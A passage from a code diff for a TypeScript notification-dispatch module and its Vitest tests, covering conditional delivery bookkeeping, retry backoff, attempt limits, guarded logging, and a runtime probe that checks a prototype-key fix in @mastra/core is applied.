+    });
+    const options: NotificationDispatchTickOptions = {
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => now,
+      maxDeliveryAttempts: 1,
+      executionFence: 'none',
+    };
+    const tick = createNotificationDispatchTickImpl(options);
+    const result = tick();
+    await waiting;
+    options.maxDeliveryAttempts = 20;
+    options.storage = notificationStorage();
+    options.resolveContext = () => {
+      throw new Error('replacement context');
+    };
+    options.topology = { send: vi.fn() } as unknown as ThreadTopology;
+    const replaced = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockRejectedValue(new Error('replacement writer'));
+    now.setTime(0);
+    release();
+    expect(await result).toEqual({
+      due: 1,
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    expect(replaced).not.toHaveBeenCalled();
+    expect(send).toHaveBeenCalledTimes(1);
+    expect(await storage.getNotification(record)).toMatchObject({
+      deliveryAttempts: 1,
+      lastDeliveryAttemptAt: NOW,
+      lastDeliveryError: 'captured target',
+    });
+  });
+
+  it('keeps detached batch observations after a topology await mutates source records', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage, { payload: { name: 'before' } });
+    const listed = [record];
+    vi.spyOn(storage, 'listDueNotifications').mockResolvedValue(listed);
+    const send = vi.fn(async () => {
+      record.threadId = 'replacement';
+      record.deliveryAttempts = 9;
+      record.deliverAt?.setTime(0);
+      (record.payload as { name: string }).name = 'after';
+      throw new Error('target refused');
+    });
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => NOW,
+    });
+    expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+    expect(
+      await storage.getNotification({ threadId: 'acme_thread', id: 'pending' }),
+    ).toMatchObject({
+      deliveryAttempts: 1,
+      payload: { name: 'before' },
+      lastDeliveryError: 'target refused',
+    });
+  });
+
+  it.each([
+    'summary',
+    'delivered',
+    'denied',
+    'failed',
+  ] as const)('preserves downstream %s bookkeeping after response loss', async (mode) => {
+    const storage = notificationStorage();
+    const record = await pending(storage, { summaryAt: new Date(0) });
+    let downstream: NotificationRecord | null = null;
+    const send = vi.fn(async () => {
+      if (mode === 'failed') await failure(storage, record);
+      else
+        await storage.updateNotification({
+          id: record.id,
+          threadId: record.threadId,
+          ...(mode === 'summary'
+            ? {
+                summaryAt: null,
+                summarySignalId: 'summary',
+                lastDeliveryAttemptAt: NOW,
+              }
+            : mode === 'delivered'
+              ? {
+                  status: 'delivered',
+                  deliveredSignalId: 'signal',
+                  lastDeliveryAttemptAt: NOW,
+                }
+              : {
+                  status: 'discarded',
+                  deliveryReason: 'content-policy-denied',
+                  lastDeliveryAttemptAt: NOW,
+                }),
+        });
+      downstream = await storage.getNotification(record);
+      throw new Error('HTTP response lost');
+    });
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => NOW,
+      maxDeliveryAttempts: 1,
+    });
+    expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+    expect(await storage.getNotification(record)).toEqual(downstream);
+    if (mode === 'failed')
+      expect(downstream).toMatchObject({
+        deliveryAttempts: 1,
+        lastDeliveryError: 'target refused',
+      });
+  });
+
+  it('skips a pending delivered receipt but permits a summarized individual', async () => {
+    const storage = notificationStorage();
+    const delivered = await pending(storage, { id: 'delivered' });
+    await storage.updateNotification({
+      ...delivered,
+      deliveredSignalId: 'signal',
+      deliveryAttempts: 10,
+    });
+    const summarized = await pending(storage, { id: 'summarized' });
+    await storage.updateNotification({
+      ...summarized,
+      summarySignalId: 'summary',
+    });
+    const bodies: unknown[] = [];
+    const send = vi.fn(async (_context, _thread, _path, input: RequestInit) => {
+      bodies.push(JSON.parse(String(input.body)));
+      return new Response(JSON.stringify({ delivered: 1, failed: 0 }));
+    });
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => NOW,
+    });
+    expect(await tick()).toEqual({ due: 2, delivered: 1, failed: 0 });
+    expect(bodies).toEqual([
+      expect.objectContaining({ notificationIds: ['summarized'] }),
+    ]);
+    expect((await storage.getNotification(delivered))?.status).toBe('pending');
+  });
+
+  it('contains malformed records and diagnostic failures while settling distinct physical keys', async () => {
+    const storage = notificationStorage();
+    const first = await pending(storage, { id: 'same', threadId: 'first' });
+    const second = await pending(storage, { id: 'same', threadId: 'second' });
+    const malformed = await pending(storage, { id: 'malformed' });
+    Object.assign(malformed, { deliveryAttempts: null });
+    vi.spyOn(storage, 'listDueNotifications').mockResolvedValue([
+      first,
+      second,
+      first,
+      malformed,
+    ]);
+    const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage);
+    vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    ).mockImplementation((input) => {
+      if (input.expected.threadId === 'first') throw new Error('before commit');
+      return write(input);
+    });
+    const send = vi.fn(async () => {
+      throw {
+        toString() {
+          throw new Error('coercion failed');
+        },
+      };
+    });
+    const logger = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    try {
+      const tick = createNotificationDispatchTick({
+        storage,
+        topology: { send } as unknown as ThreadTopology,
+        resolveContext: actorContext,
+        now: () => NOW,
+        maxDeliveryAttempts: 1,
+      });
+      expect(await tick()).toEqual({
+        due: 4,
+        delivered: 0,
+        failed: 2,
+        discarded: 1,
+      });
+      expect((await storage.getNotification(first))?.deliveryAttempts).toBe(0);
+      expect(await storage.getNotification(second)).toMatchObject({
+        status: 'discarded',
+        deliveryAttempts: 1,
+        lastDeliveryError: 'unreadable error',
+      });
+      expect((await storage.getNotification(malformed))?.deliveryAttempts).toBe(
+        0,
+      );
+      expect(send).toHaveBeenCalledTimes(2);
+    } finally {
+      logger.mockRestore();
+    }
+  });
+});
+
+describe('notification delivery boundary cases', () => {
+  it('records the maximum safe attempt at an equal maximum safe bound', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const observed = await storage.updateNotification({
+      ...record,
+      deliveryAttempts: Number.MAX_SAFE_INTEGER - 1,
+    });
+    expect(await failure(storage, observed, Number.MAX_SAFE_INTEGER)).toBe(
+      'discarded',
+    );
+    expect(await storage.getNotification(record)).toMatchObject({
+      deliveryAttempts: Number.MAX_SAFE_INTEGER,
+      status: 'discarded',
+    });
+  });
+
+  it('keeps malformed composite keys distinct without requiring route-safe storage IDs', async () => {
+    const storage = notificationStorage();
+    const template = await pending(storage);
+    const first = { ...template, threadId: 'a\0b', id: 'c' };
+    const second = {
+      ...template,
+      threadId: 'a',
+      id: 'b\0c',
+      resourceId: 'bad/resource',
+    };
+    vi.spyOn(storage, 'listDueNotifications').mockResolvedValue([
+      first,
+      second,
+    ]);
+    const write = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockResolvedValue({ applied: false });
+    const send = vi.fn();
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => NOW,
+      maxDeliveryAttempts: 1,
+    });
+    expect(await tick()).toEqual({
+      due: 2,
+      delivered: 0,
+      failed: 2,
+    });
+    expect(send).not.toHaveBeenCalled();
+    expect(
+      write.mock.calls.map(([input]) => [
+        input.expected.threadId,
+        input.expected.id,
+      ]),
+    ).toEqual([
+      ['a\0b', 'c'],
+      ['a', 'b\0c'],
+    ]);
+  });
+
+  it.each([
+    'wrong-key',
+    'wrong-receipt',
+  ] as const)('requires exact persisted state after a valid-shaped %s applied result', async (mode) => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const read = vi.spyOn(storage, 'getNotification');
+    vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    ).mockResolvedValue({
+      applied: true,
+      record: {
+        ...record,
+        ...(mode === 'wrong-key'
+          ? { id: 'different' }
+          : { status: 'discarded', deliveryReason: 'content-policy-denied' }),
+      },
+    });
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(await failure(storage, record, 1)).toBe('uncertain');
+      expect(read).toHaveBeenCalledTimes(1);
+      expect(await storage.getNotification(record)).toEqual(record);
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('recovers a committed exact target after a malformed storage result', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage);
+    const call = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockImplementation(async (input) => {
+        await write(input);
+        return { applied: true } as NotificationDeliveryUpdateResult;
+      });
+    const read = vi.spyOn(storage, 'getNotification');
+    expect(await failure(storage, record, 1)).toBe('discarded');
+    expect(call).toHaveBeenCalledTimes(1);
+    expect(read).toHaveBeenCalledTimes(1);
+  });
+
+  it('preserves date ordering across extended ISO years', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage, {
+      summaryAt: new Date('+010000-01-01T00:00:00.000Z'),
+    });
+    const now = new Date('+010000-01-01T00:00:00.000Z');
+    expect(await failure(storage, record, 10, now)).toBe('deferred');
+    const current = await storage.getNotification(record);
+    const retryAt = new Date(now.getTime() + 1000);
+    expect(current?.deliverAt).toEqual(retryAt);
+    expect(current?.summaryAt).toEqual(retryAt);
+  });
+});
+
+describe('notification bookkeeping diagnostics', () => {
+  it('does not log unreadable JSON content or serializer exceptions', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const expected = {
+      ...captureNotificationDeliveryObservation(record),
+      payload: '{"token":"private-json"',
+    };
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(
+        await recordNotificationDeliveryFailure(
+          captureNotificationDeliveryStorage(storage),
+          expected,
+          NOW,
+          10,
+          { type: 'failure', error: 'refused' },
+        ),
+      ).toBe('uncertain');
+      expect(JSON.stringify(log.mock.calls)).not.toContain('private-json');
+      record.payload = {
+        toJSON() {
+          throw new Error('private-serializer');
+        },
+      };
+      expect(() => captureNotificationDeliveryObservation(record)).toThrow(
+        'notification value is not JSON serializable',
+      );
+    } finally {
+      log.mockRestore();
+    }
+  });
+});
diff --git a/packages/flowsafe/src/signals/notification-dispatch.ts b/packages/flowsafe/src/signals/notification-dispatch.ts
index 71419813..63582f8d 100644
--- a/packages/flowsafe/src/signals/notification-dispatch.ts
+++ b/packages/flowsafe/src/signals/notification-dispatch.ts
@@ -1,8 +1,10 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import type {
-  NotificationRecord,
-  NotificationsStorage,
+import {
+  type NotificationRecord,
+  type NotificationsStorage,
+  resolveNotificationDeliveryDecision,
+  summarizeNotifications,
 } from '@mastra/core/notifications';
 
 import type { ActorContext } from '../approval-api/index.js';
@@ -13,13 +15,84 @@ import {
   readExecutionFence,
 } from '../do-runner/index.js';
 import type { ThreadTopology } from '../host-kit/index.js';
-import { nonnegativeSafeInteger } from '../numeric-config.js';
+import {
+  nonnegativeSafeInteger,
+  positiveSafeInteger,
+} from '../numeric-config.js';
+import { jsonOrNull } from './d1-shared.js';
+
+/** Scalar values preserve the attempted observation across asynchronous writes. */
+export type NotificationDeliveryObservation = Readonly<{
+  id: string;
+  threadId: string;
+  source: string;
+  kind: string;
+  priority: NotificationRecord['priority'];
+  status: NotificationRecord['status'];
+  summary: string;
+  payload: string | null;
+  resourceId: string | null;
+  agentId: string | null;
+  sourceId: string | null;
+  dedupeKey: string | null;
+  coalesceKey: string | null;
+  coalescedCount: number;
+  attributes: string | null;
+  createdAt: string;
+  updatedAt: string;
+  deliverAt: string | null;
+  summaryAt: string | null;
+  deliveryReason: string | null;
+  deliveryAttempts: number;
+  lastDeliveryAttemptAt: string | null;
+  lastDeliveryError: string | null;
+  deliveredSignalId: string | null;
+  summarySignalId: string | null;
+  deliveredAt: string | null;
+  seenAt: string | null;
+  dismissedAt: string | null;
+  archivedAt: string | null;
+  discardedAt: string | null;
+  metadata: string | null;
+}>;
+
+export type NotificationDeliveryFailure =
+  | Readonly<{
+      type: 'retry';
+      updatedAt: string;
+      deliveryAttempts: number;
+      lastDeliveryAttemptAt: string;
+      lastDeliveryError: string;
+      deliverAt?: string;
+      summaryAt?: string;
+    }>
+  | Readonly<{
+      type: 'discard';
+      updatedAt: string;
+      deliveryAttempts: number;
+      lastDeliveryAttemptAt: string;
+      lastDeliveryError: string;
+    }>
+  | Readonly<{ type: 'exhausted'; updatedAt: string }>;
+
+export type NotificationDeliveryUpdateResult =
+  | { applied: true; record: NotificationRecord }
+  | { applied: false };
+
+export interface NotificationDeliveryStorage extends NotificationsStorage {
+  updateNotificationDeliveryIfUnchanged(input: {
+    expected: NotificationDeliveryObservation;
+    failure: NotificationDeliveryFailure;
+  }): Promise<NotificationDeliveryUpdateResult>;
+}
 
 /** Maximum route-valid ids in one trusted thread-DO dispatch request. */
 export const MAX_NOTIFICATION_DISPATCH_IDS = 100;
 
+export const DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS = 10;
+
 export interface NotificationDispatchTickOptions {
-  storage: NotificationsStorage;
+  storage: NotificationDeliveryStorage;
   topology: ThreadTopology;
   /** Builds the system-authorized context used after row bindings validate. */
   resolveContext(): ActorContext;
@@ -29,6 +102,8 @@ export interface NotificationDispatchTickOptions {
    * intentional no-op. Values above 100 are split into route-valid chunks.
    */
   limit?: number;
+  /** Failed rounds before terminal discard. Must be a positive safe integer. */
+  maxDeliveryAttempts?: number;
   /**
    * The deployment execution fence, read ONCE per pass, or `'none'` for a tick
    * with no database behind it. A drain still dispatches — the thread routes
@@ -47,7 +122,7 @@ export interface NotificationDispatchTickResult {
   due: number;
   delivered: number;
   failed: number;
-  /** Terminal content-policy denials. Omitted when zero for wire compatibility. */
+  /** Confirmed terminal discards. Omitted when zero for wire compatibility. */
   discarded?: number;
 }
 
@@ -186,8 +261,290 @@ export function packNotificationDispatchItems(
   return batches;
 }
 
+function textValue(value: unknown): string {
+  if (typeof value !== 'string') {
+    throw new TypeError('notification text must be a string');
+  }
+  return value;
+}
+
+function optionalText(value: unknown): string | null {
+  return value === undefined || value === null ? null : textValue(value);
+}
+
+function dateValue(value: unknown): string {
+  if (!(value instanceof Date) || !Number.isFinite(value.getTime())) {
+    throw new TypeError('notification timestamp must be a finite Date');
+  }
+  return value.toISOString();
+}
+
+function optionalDate(value: unknown): string | null {
+  return value === undefined || value === null ? null : dateValue(value);
+}
+
+function parsedJson(value: string): unknown {
+  try {
+    return JSON.parse(value, (_key, parsed: unknown) => {
+      if (typeof parsed === 'number' && !Number.isFinite(parsed)) {
+        throw new TypeError('notification JSON contains a nonfinite number');
+      }
+      return parsed;
+    });
+  } catch {
+    throw new TypeError('notification JSON is malformed');
+  }
+}
+
+function jsonValue(value: unknown): string | null {
+  try {
+    const encoded = jsonOrNull(value);
+    if (encoded === null) return null;
+    if (typeof encoded !== 'string') {
+      throw new TypeError('notification value is not JSON serializable');
+    }
+    parsedJson(encoded);
+    return encoded;
+  } catch {
+    throw new TypeError('notification value is not JSON serializable');
+  }
+}
+
+export function captureNotificationDeliveryObservation(
+  record: NotificationRecord,
+): NotificationDeliveryObservation {
+  const priority = record.priority;
+  const status = record.status;
+  if (!['low', 'medium', 'high', 'urgent'].includes(priority)) {
+    throw new TypeError('notification priority is invalid');
+  }
+  if (
+    ![
+      'pending',
+      'delivered',
+      'seen',
+      'dismissed',
+      'archived',
+      'discarded',
+    ].includes(status)
+  ) {
+    throw new TypeError('notification status is invalid');
+  }
+  const coalescedCount =
+    record.coalescedCount === undefined ? 1 : record.coalescedCount;
+  if (typeof coalescedCount !== 'number' || !Number.isFinite(coalescedCount)) {
+    throw new TypeError('notification coalesced count must be finite');
+  }
+  return Object.freeze({
+    id: textValue(record.id),
+    threadId: textValue(record.threadId),
+    source: textValue(record.source),
+    kind: textValue(record.kind),
+    priority,
+    status,
+    summary: textValue(record.summary),
+    payload: jsonValue(record.payload),
+    resourceId: optionalText(record.resourceId),
+    agentId: optionalText(record.agentId),
+    sourceId: optionalText(record.sourceId),
+    dedupeKey: optionalText(record.dedupeKey),
+    coalesceKey: optionalText(record.coalesceKey),
+    coalescedCount,
+    attributes: jsonValue(record.attributes),
+    createdAt: dateValue(record.createdAt),
+    updatedAt: dateValue(record.updatedAt),
+    deliverAt: optionalDate(record.deliverAt),
+    summaryAt: optionalDate(record.summaryAt),
+    deliveryReason: optionalText(record.deliveryReason),
+    deliveryAttempts: nonnegativeSafeInteger(
+      record.deliveryAttempts === undefined ? 0 : record.deliveryAttempts,
+      'notification delivery attempts',
+    ),
+    lastDeliveryAttemptAt: optionalDate(record.lastDeliveryAttemptAt),
+    lastDeliveryError: optionalText(record.lastDeliveryError),
+    deliveredSignalId: optionalText(record.deliveredSignalId),
+    summarySignalId: optionalText(record.summarySignalId),
+    deliveredAt: optionalDate(record.deliveredAt),
+    seenAt: optionalDate(record.seenAt),
+    dismissedAt: optionalDate(record.dismissedAt),
+    archivedAt: optionalDate(record.archivedAt),
+    discardedAt: optionalDate(record.discardedAt),
+    metadata: jsonValue(record.metadata),
+  });
+}
+
+function decodedDate(value: string): Date {
+  const date = new Date(textValue(value));
+  if (dateValue(date) !== value) {
+    throw new TypeError('notification observation timestamp must be ISO');
+  }
+  return date;
+}
+
+function decodedOptionalDate(value: string | null): Date | undefined {
+  return value === null ? undefined : decodedDate(value);
+}
+
+function decodedJson(value: string | null): unknown {
+  return value === null ? undefined : parsedJson(textValue(value));
+}
+
+function recordFromObservation(
+  expected: NotificationDeliveryObservation,
+): NotificationRecord {
+  return {
+    ...expected,
+    payload: decodedJson(expected.payload),
+    resourceId: expected.resourceId ?? undefined,
+    agentId: expected.agentId ?? undefined,
+    sourceId: expected.sourceId ?? undefined,
+    dedupeKey: expected.dedupeKey ?? undefined,
+    coalesceKey: expected.coalesceKey ?? undefined,
+    attributes: decodedJson(
+      expected.attributes,
+    ) as NotificationRecord['attributes'],
+    createdAt: decodedDate(expected.createdAt),
+    updatedAt: decodedDate(expected.updatedAt),
+    deliverAt: decodedOptionalDate(expected.deliverAt),
+    summaryAt: decodedOptionalDate(expected.summaryAt),
+    deliveryReason: expected.deliveryReason ?? undefined,
+    lastDeliveryAttemptAt: decodedOptionalDate(expected.lastDeliveryAttemptAt),
+    lastDeliveryError: expected.lastDeliveryError ?? undefined,
+    deliveredSignalId: expected.deliveredSignalId ?? undefined,
+    summarySignalId: expected.summarySignalId ?? undefined,
+    deliveredAt: decodedOptionalDate(expected.deliveredAt),
+    seenAt: decodedOptionalDate(expected.seenAt),
+    dismissedAt: decodedOptionalDate(expected.dismissedAt),
+    archivedAt: decodedOptionalDate(expected.archivedAt),
+    discardedAt: decodedOptionalDate(expected.discardedAt),
+    metadata: decodedJson(expected.metadata) as NotificationRecord['metadata'],
+  };
+}
+
+export function captureNotificationDeliverySelection(
+  record: NotificationRecord,
+): {
+  record: NotificationRecord;
+  expected: NotificationDeliveryObservation;
+} {
+  const expected = captureNotificationDeliveryObservation(record);
+  return { record: recordFromObservation(expected), expected };
+}
+
+export function captureNotificationDeliveryStorage(
+  storage: NotificationsStorage,
+): Pick<
+  NotificationDeliveryStorage,
+  'getNotification' | 'updateNotificationDeliveryIfUnchanged'
+> {
+  const update = (storage as Partial<NotificationDeliveryStorage>)
+    .updateNotificationDeliveryIfUnchanged;
+  const get = storage.getNotification;
+  if (typeof update !== 'function' || typeof get !== 'function') {
+    throw new TypeError(
+      'notification dispatch requires conditional delivery storage',
+    );
+  }
+  return {
+    getNotification: get.bind(storage),
+    updateNotificationDeliveryIfUnchanged: update.bind(storage),
+  };
+}
+
+// Guarded reaches into Core's patched functions: the thread-DO dispatch
+// route's summary group, the notification ingestion gate's prospective
+// summary, and Core's inline sender behind agent.sendNotificationSignal.
+// Unpatched, a source named after an Object.prototype member is miscounted in
+// the summary a receipt is recorded against, and Core's own source-policy
+// lookup resolves an inherited entry instead of the configured action. A
+// behaviour probe rather than a prototype check lets any correct upstream fix
+// pass. The record is the getting-started guide's confirmation record.
+const SOURCE_KEY_PROBE: NotificationRecord = {
+  id: 'n',
+  threadId: 't',
+  source: 'constructor',
+  kind: 'k',
+  priority: 'low',
+  status: 'pending',
+  summary: 's',
+  createdAt: new Date(0),
+  updatedAt: new Date(0),
+};
+// The getting-started citation both patch refusals carry.
+const PATCH_CITATION =
+  'apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")';
+
+let sourceKeysPatched: boolean | undefined;
+
+export function assertNotificationSourceKeysPatched(): void {
+  sourceKeysPatched ??=
+    typeof summarizeNotifications([SOURCE_KEY_PROBE]).bySource.constructor ===
+    'number';
+  if (!sourceKeysPatched) {
+    throw new TypeError(
+      `notification dispatch requires the @mastra/core patch flowsafe ships; ${PATCH_CITATION}`,
+    );
+  }
+}
+
+let deliveryPolicyPatched: Promise<boolean> | undefined;
+
+/**
+ * The second subject of the @mastra/core patch: the source-policy lookup in
+ * resolveNotificationDeliveryDecision guards its own keys, so a source named
+ * after an Object.prototype member resolves the configured default instead
+ * of the inherited member. The lookup is asynchronous, so this probe is the
+ * async sibling of assertNotificationSourceKeysPatched, awaited before a
+ * handler reaches core's sender.
+ */
+export async function assertNotificationDeliveryPolicyPatched(): Promise<void> {
+  deliveryPolicyPatched ??= resolveNotificationDeliveryDecision({
+    config: { sources: {}, default: 'discard' },
+    record: SOURCE_KEY_PROBE,
+    threadState: 'idle',
+    now: new Date(0),
+  }).then(
+    (decision) => decision.action === 'discard',
+    () => false,
+  );
+  if (!(await deliveryPolicyPatched)) {
+    throw new TypeError(
+      `notification ingestion requires the @mastra/core patch flowsafe ships; ${PATCH_CITATION}`,
+    );
+  }
+}
+
 function errorMessage(error: unknown): string {
-  return error instanceof Error ? error.message : String(error);
+  try {
+    return String(error instanceof Error ? error.message : error);
+  } catch {
+    return 'unreadable error';
+  }
+}
+
+function logFailure(
+  type: string,
+  error: unknown,
+  field: 'error' | 'reason' = 'error',
+): void {
+  try {
+    console.error(JSON.stringify({ type, [field]: errorMessage(error) }));
+  } catch {
+    // Diagnostic failures cannot interrupt notification bookkeeping.
+  }
+}
+
+export function reportNotificationDeliveryError(error: unknown): void {
+  logFailure('notification-dispatch-bookkeeping-error', error);
+}
+
+function observationsMatch(
+  left: NotificationDeliveryObservation,
+  right: NotificationDeliveryObservation,
+): boolean {
+  return (Object.keys(left) as (keyof NotificationDeliveryObservation)[]).every(
+    (key) => left[key] === right[key],
+  );
 }
 
 const NOTIFICATION_RETRY_BASE_MS = 1_000;
@@ -196,51 +553,163 @@ const NOTIFICATION_RETRY_MAX_MS = 5 * 60_000;
 /**
  * Record one delivery failure and move every currently-due cursor forward.
  * Without the cursor move, one permanently blocked row can monopolize a
- * bounded deployment-wide due scan forever.
+ * bounded deployment-wide due scan. The attempt bound is the other half of the
+ * same guarantee: a row that keeps failing leaves the due scan.
  */
-export async function deferNotificationAfterFailure(
-  storage: NotificationsStorage,
-  record: NotificationRecord,
+export async function recordNotificationDeliveryFailure(
+  storage: Pick<
+    NotificationDeliveryStorage,
+    'getNotification' | 'updateNotificationDeliveryIfUnchanged'
+  >,
+  expected: NotificationDeliveryObservation,
   now: Date,
-  error: unknown,
-): Promise<void> {
-  const attempts = (record.deliveryAttempts ?? 0) + 1;
-  const delay = Math.min(
-    NOTIFICATION_RETRY_MAX_MS,
-    NOTIFICATION_RETRY_BASE_MS * 2 ** Math.min(attempts - 1, 8),
-  );
-  const retryAt = new Date(now.getTime() + delay);
-  await storage.updateNotification({
-    id: record.id,
-    threadId: record.threadId,
-    deliveryAttempts: attempts,
-    lastDeliveryAttemptAt: now,
-    lastDeliveryError: errorMessage(error),
-    ...(record.deliverAt && record.deliverAt.getTime() <= now.getTime()
-      ? { deliverAt: retryAt }
-      : {}),
-    ...(record.summaryAt && record.summaryAt.getTime() <= now.getTime()
-      ? { summaryAt: retryAt }
-      : {}),
-  });
-}
-
-async function recordFailure(
-  storage: NotificationsStorage,
-  record: NotificationRecord,
-  now: Date,
-  error: unknown,
-): Promise<void> {
+  maxDeliveryAttempts: number,
+  action: { type: 'failure'; error: unknown } | { type: 'exhausted' },
+): Promise<'deferred' | 'discarded' | 'unchanged' | 'uncertain'> {
   try {
-    await deferNotificationAfterFailure(storage, record, now, error);
-  } catch (updateError) {
-    console.error(
-      JSON.stringify({
-        type: 'notification-dispatch-bookkeeping-error',
-        notificationId: record.id,
-        error: errorMessage(updateError),
-      }),
+    positiveSafeInteger(
+      maxDeliveryAttempts,
+      'notification maximum delivery attempts',
     );
+    // Re-capturing the caller-supplied observation from its own record checks
+    // its canonical form before the conditional write: a custom store does not
+    // run D1's value validation, so a non-canonical timestamp or non-JSON
+    // payload text would otherwise reach the write unchecked.
+    const observed = captureNotificationDeliveryObservation(
+      recordFromObservation(expected),
+    );
+    if (!observationsMatch(observed, expected)) {
+      throw new TypeError('notification delivery observation is invalid');
+    }
+    if (observed.status !== 'pending' || observed.deliveredSignalId)
+      return 'unchanged';
+    const attemptAt = dateValue(now);
+    const attemptTime = Date.parse(attemptAt);
+    const updatedAt = new Date().toISOString();
+    let failure: NotificationDeliveryFailure;
+    if (observed.deliveryAttempts >= maxDeliveryAttempts) {
+      failure = { type: 'exhausted', updatedAt };
+    } else {
+      if (action.type !== 'failure') {
+        throw new RangeError(
+          'notification delivery attempts are not exhausted',
+        );
+      }
+      const attempts = observed.deliveryAttempts + 1;
+      const receipt = {
+        updatedAt,
+        deliveryAttempts: attempts,
+        lastDeliveryAttemptAt: attemptAt,
+        lastDeliveryError: errorMessage(action.error),
+      };
+      if (attempts >= maxDeliveryAttempts) {
+        failure = { type: 'discard', ...receipt };
+      } else {
+        const delay = Math.min(
+          NOTIFICATION_RETRY_MAX_MS,
+          NOTIFICATION_RETRY_BASE_MS * 2 ** Math.min(attempts - 1, 8),
+        );
+        const retryAt = new Date(attemptTime + delay).toISOString();
+        failure = {
+          type: 'retry',
+          ...receipt,
+          ...(observed.deliverAt !== null &&
+          Date.parse(observed.deliverAt) <= attemptTime
+            ? { deliverAt: retryAt }
+            : {}),
+          ...(observed.summaryAt !== null &&
+          Date.parse(observed.summaryAt) <= attemptTime
+            ? { summaryAt: retryAt }
+            : {}),
+        };
+      }
+    }
+    Object.freeze(failure);
+    const target: NotificationDeliveryObservation = Object.freeze({
+      ...observed,
+      updatedAt,
+      ...(failure.type === 'exhausted'
+        ? {}
+        : {
+            deliveryAttempts: failure.deliveryAttempts,
+            lastDeliveryAttemptAt: failure.lastDeliveryAttemptAt,
+            lastDeliveryError: failure.lastDeliveryError,
+          }),
+      ...(failure.type === 'retry'
+        ? {
+            ...(failure.deliverAt === undefined
+              ? {}
+              : { deliverAt: failure.deliverAt }),
+            ...(failure.summaryAt === undefined
+              ? {}
+              : { summaryAt: failure.summaryAt }),
+          }
+        : {
+            status: 'discarded',
+            deliveryReason: 'delivery-attempts-exhausted',
+            discardedAt: updatedAt,
+            deliverAt: null,
+            summaryAt: null,
+          }),
+    });
+    const confirmed = failure.type === 'retry' ? 'deferred' : 'discarded';
+    try {
+      const result = await storage.updateNotificationDeliveryIfUnchanged({
+        expected: observed,
+        failure,
+      });
+      if (!result || typeof result !== 'object' || Array.isArray(result)) {
+        throw new TypeError(
+          'notification delivery update returned an invalid result',
+        );
+      }
+      const keys = Reflect.ownKeys(result);
+      if (
+        result.applied === false &&
+        keys.length === 1 &&
+        keys[0] === 'applied'
+      ) {
+        return 'unchanged';
+      }
+      if (
+        result.applied !== true ||
+        keys.length !== 2 ||
+        !keys.includes('applied') ||
+        !keys.includes('record') ||
+        !observationsMatch(
+          target,
+          captureNotificationDeliveryObservation(result.record),
+        )
+      ) {
+        throw new TypeError(
+          'notification delivery update did not confirm its receipt',
+        );
+      }
+      return confirmed;
+    } catch (error) {
+      try {
+        const current = await storage.getNotification({
+          threadId: observed.threadId,
+          id: observed.id,
+        });
+        if (
+          current &&
+          observationsMatch(
+            target,
+            captureNotificationDeliveryObservation(current),
+          )
+        ) {
+          return confirmed;
+        }
+      } catch (readError) {
+        logFailure('notification-dispatch-bookkeeping-read-error', readError);
+      }
+      logFailure('notification-dispatch-bookkeeping-error', error);
+      return 'uncertain';
+    }
+  } catch (error) {
+    logFailure('notification-dispatch-bookkeeping-error', error);
+    return 'uncertain';
   }
 }
 
@@ -256,8 +725,16 @@ export function createNotificationDispatchTick(
     options.limit ?? 100,
     'notification dispatch tick limit',
   );
+  const maxDeliveryAttempts = positiveSafeInteger(
+    options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+    'notification maximum delivery attempts',
+  );
+  const { storage } = options;
+  const deliveryStorage = captureNotificationDeliveryStorage(storage);
+  if (limit === 0) return async () => ({ due: 0, delivered: 0, failed: 0 });
+  assertNotificationSourceKeysPatched();
+  const { topology, resolveContext, now: clock, executionFence } = options;
   return async () => {
-    if (limit === 0) return { due: 0, delivered: 0, failed: 0 };
     // The fence, before the due read and before any delivery. This runs on a
     // maintenance alarm, so a fence that cannot be READ degrades closed by
     // skipping the pass and logging: throwing would fail the duty, and
@@ -265,23 +742,18 @@ export function createNotificationDispatchTick(
     let admitted: boolean;
     try {
       admitted = admitsDrainableExecution(
-        await readExecutionFence(options.executionFence),
+        await readExecutionFence(executionFence),
       );
     } catch (error) {
-      console.error(
-        JSON.stringify({
-          type: 'notification-dispatch-fence-error',
-          // `reason`, matching schedule-tick-fence-error: the two alarm lanes
-          // degrade closed identically, so an operator greps one field.
-          reason: errorMessage(error),
-        }),
-      );
+      // `reason` matches schedule-tick-fence-error, so the two alarm lanes
+      // degrade closed identically and an operator greps one field.
+      logFailure('notification-dispatch-fence-error', error, 'reason');
       return { due: 0, delivered: 0, failed: 0 };
